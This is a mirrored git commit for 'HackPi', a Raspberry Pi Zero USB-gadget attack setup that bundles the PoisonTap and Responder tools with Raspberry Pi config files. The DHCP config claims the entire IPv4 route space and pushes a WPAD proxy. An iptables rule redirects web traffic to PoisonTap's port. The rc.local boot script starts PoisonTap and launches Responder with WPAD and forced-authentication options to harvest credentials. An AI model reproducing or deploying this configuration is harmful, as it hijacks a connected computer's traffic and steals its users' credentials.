mirror of
https://github.com/wismna/HackPi.git
synced 2025-10-03 15:40:16 -04:00
First commit
This commit is contained in:
1
Responder
Submodule
1
Responder
Submodule
Submodule Responder added at 5f1fa4a00f
59
config.txt
Normal file
59
config.txt
Normal file
@@ -0,0 +1,59 @@
|
||||
# For more options and information see
|
||||
# http://www.raspberrypi.org/documentation/configuration/config-txt.md
|
||||
# Some settings may impact device functionality. See link above for details
|
||||
|
||||
# uncomment if you get no picture on HDMI for a default "safe" mode
|
||||
#hdmi_safe=1
|
||||
|
||||
# uncomment this if your display has a black border of unused pixels visible
|
||||
# and your display can output without overscan
|
||||
#disable_overscan=1
|
||||
|
||||
# uncomment the following to adjust overscan. Use positive numbers if console
|
||||
# goes off screen, and negative if there is too much border
|
||||
#overscan_left=16
|
||||
#overscan_right=16
|
||||
#overscan_top=16
|
||||
#overscan_bottom=16
|
||||
|
||||
# uncomment to force a console size. By default it will be display's size minus
|
||||
# overscan.
|
||||
#framebuffer_width=1280
|
||||
#framebuffer_height=720
|
||||
|
||||
# uncomment if hdmi display is not detected and composite is being output
|
||||
#hdmi_force_hotplug=1
|
||||
|
||||
# uncomment to force a specific HDMI mode (this will force VGA)
|
||||
#hdmi_group=1
|
||||
#hdmi_mode=1
|
||||
|
||||
# uncomment to force a HDMI mode rather than DVI. This can make audio work in
|
||||
# DMT (computer monitor) modes
|
||||
#hdmi_drive=2
|
||||
|
||||
# uncomment to increase signal to HDMI, if you have interference, blanking, or
|
||||
# no display
|
||||
#config_hdmi_boost=4
|
||||
|
||||
# uncomment for composite PAL
|
||||
#sdtv_mode=2
|
||||
|
||||
#uncomment to overclock the arm. 700 MHz is the default.
|
||||
#arm_freq=800
|
||||
|
||||
# Uncomment some or all of these to enable the optional hardware interfaces
|
||||
#dtparam=i2c_arm=on
|
||||
#dtparam=i2s=on
|
||||
#dtparam=spi=on
|
||||
|
||||
# Uncomment this to enable the lirc-rpi module
|
||||
#dtoverlay=lirc-rpi
|
||||
|
||||
# Additional overlays and parameters are documented /boot/overlays/README
|
||||
|
||||
# Enable audio (loads snd_bcm2835)
|
||||
dtparam=audio=on
|
||||
|
||||
dtoverlay=dwc2
|
||||
|
33
dhcpd.conf
Normal file
33
dhcpd.conf
Normal file
@@ -0,0 +1,33 @@
|
||||
# /etc/dhcp/dhcpd.conf
|
||||
|
||||
# notes below
|
||||
ddns-update-style none;
|
||||
default-lease-time 600;
|
||||
max-lease-time 7200;
|
||||
authoritative;
|
||||
log-facility local7;
|
||||
|
||||
# describe the codes used for injecting static routes
|
||||
option classless-routes code 121 = array of unsigned integer 8;
|
||||
option classless-routes-win code 249 = array of unsigned integer 8;
|
||||
|
||||
option local-proxy-config code 252 = text;
|
||||
|
||||
# A netmask of 128 will work across all platforms
|
||||
# A way to cover /0 is to use a short lease.
|
||||
# As soon as the lease expires and client sends a
|
||||
# new DHCPREQUEST, you can DHCPOFFER the other half.
|
||||
subnet 0.0.0.0 netmask 128.0.0.0 {
|
||||
range 1.0.0.10 1.0.0.50;
|
||||
option broadcast-address 255.255.255.255;
|
||||
option routers 1.0.0.1;
|
||||
default-lease-time 600;
|
||||
max-lease-time 7200;
|
||||
option domain-name "local";
|
||||
option domain-name-servers 1.0.0.1;
|
||||
# send the routes for both the top and bottom of the IPv4 address space
|
||||
option classless-routes 1,0, 1,0,0,1, 1,128, 1,0,0,1;
|
||||
option classless-routes-win 1,0, 1,0,0,1, 1,128, 1,0,0,1;
|
||||
option local-proxy-config "http://1.0.0.1/wpad.dat";
|
||||
|
||||
}
|
28
interfaces
Normal file
28
interfaces
Normal file
@@ -0,0 +1,28 @@
|
||||
# interfaces(5) file used by ifup(8) and ifdown(8)
|
||||
|
||||
# Please note that this file is written to be used with dhcpcd
|
||||
# For static IP, consult /etc/dhcpcd.conf and 'man dhcpcd.conf'
|
||||
|
||||
# Include files from /etc/network/interfaces.d:
|
||||
source-directory /etc/network/interfaces.d
|
||||
|
||||
auto lo br0
|
||||
iface lo inet loopback
|
||||
|
||||
#allow-hotplug usb0
|
||||
iface usb0 inet manual
|
||||
#address 192.168.2.201
|
||||
#netmask 255.255.255.0
|
||||
#gateway 192.168.2.1
|
||||
|
||||
#allow-hotplug usb1
|
||||
iface usb1 inet manual
|
||||
|
||||
iface br0 inet static
|
||||
bridge_ports usb0 usb1
|
||||
address 1.0.0.1
|
||||
netmask 0.0.0.0
|
||||
#pre-up ip addr flush dev usb0
|
||||
#pre-up ip addr flush dev usb1
|
||||
post-up route add -net 0.0.0.0/0
|
||||
post-up iptables -t nat -A PREROUTING -i br0 -p tcp --dport 80 -j REDIRECT --to-port 1337
|
21
isc-dhcp-server
Normal file
21
isc-dhcp-server
Normal file
@@ -0,0 +1,21 @@
|
||||
# Defaults for isc-dhcp-server initscript
|
||||
# sourced by /etc/init.d/isc-dhcp-server
|
||||
# installed at /etc/default/isc-dhcp-server by the maintainer scripts
|
||||
|
||||
#
|
||||
# This is a POSIX shell fragment
|
||||
#
|
||||
|
||||
# Path to dhcpd's config file (default: /etc/dhcp/dhcpd.conf).
|
||||
#DHCPD_CONF=/etc/dhcp/dhcpd.conf
|
||||
|
||||
# Path to dhcpd's PID file (default: /var/run/dhcpd.pid).
|
||||
#DHCPD_PID=/var/run/dhcpd.pid
|
||||
|
||||
# Additional options to start dhcpd with.
|
||||
# Don't use options -cf or -pf here; use DHCPD_CONF/ DHCPD_PID instead
|
||||
#OPTIONS=""
|
||||
|
||||
# On what interfaces should the DHCP server (dhcpd) serve DHCP requests?
|
||||
# Separate multiple interfaces with spaces, e.g. "eth0 eth1".
|
||||
INTERFACES="br0"
|
8
modules
Normal file
8
modules
Normal file
@@ -0,0 +1,8 @@
|
||||
# /etc/modules: kernel modules to load at boot time.
|
||||
#
|
||||
# This file contains the names of kernel modules that should be loaded
|
||||
# at boot time, one per line. Lines beginning with "#" are ignored.
|
||||
|
||||
dwc2
|
||||
libcomposite
|
||||
#g_ether
|
1
poisontap
Submodule
1
poisontap
Submodule
Submodule poisontap added at 05a58717b0
34
rc.local
Normal file
34
rc.local
Normal file
@@ -0,0 +1,34 @@
|
||||
#!/bin/sh -e
|
||||
#
|
||||
# rc.local
|
||||
#
|
||||
# This script is executed at the end of each multiuser runlevel.
|
||||
# Make sure that the script will "exit 0" on success or any other
|
||||
# value on error.
|
||||
#
|
||||
# In order to enable or disable this script just change the execution
|
||||
# bits.
|
||||
#
|
||||
# By default this script does nothing.
|
||||
|
||||
# Print the IP address
|
||||
_IP=$(hostname -I) || true
|
||||
if [ "$_IP" ]; then
|
||||
printf "My IP address is %s\n" "$_IP"
|
||||
fi
|
||||
|
||||
# libcomposite configuration
|
||||
#/usr/bin/zero_usb_gadget
|
||||
/bin/sh /home/pi/poisontap/pi_startup.rndis.sh | tee /home/pi/poisontap/pi_startup.log
|
||||
|
||||
# Clear leases
|
||||
#rm -f /var/lib/dhcp/dhcpd.leases
|
||||
#touch /var/lib/dhcp/dhcpd.leases
|
||||
|
||||
# Start DHCP server
|
||||
#/usr/sbin/dhcpd
|
||||
|
||||
# Start Responder
|
||||
/usr/bin/screen -dmS responder bash -c 'cd /home/pi/Responder/; python Responder.py -I br0 -f -w -r -d -F' | tee /home/pi/Responder.log
|
||||
|
||||
exit 0
|
Reference in New Issue
Block a user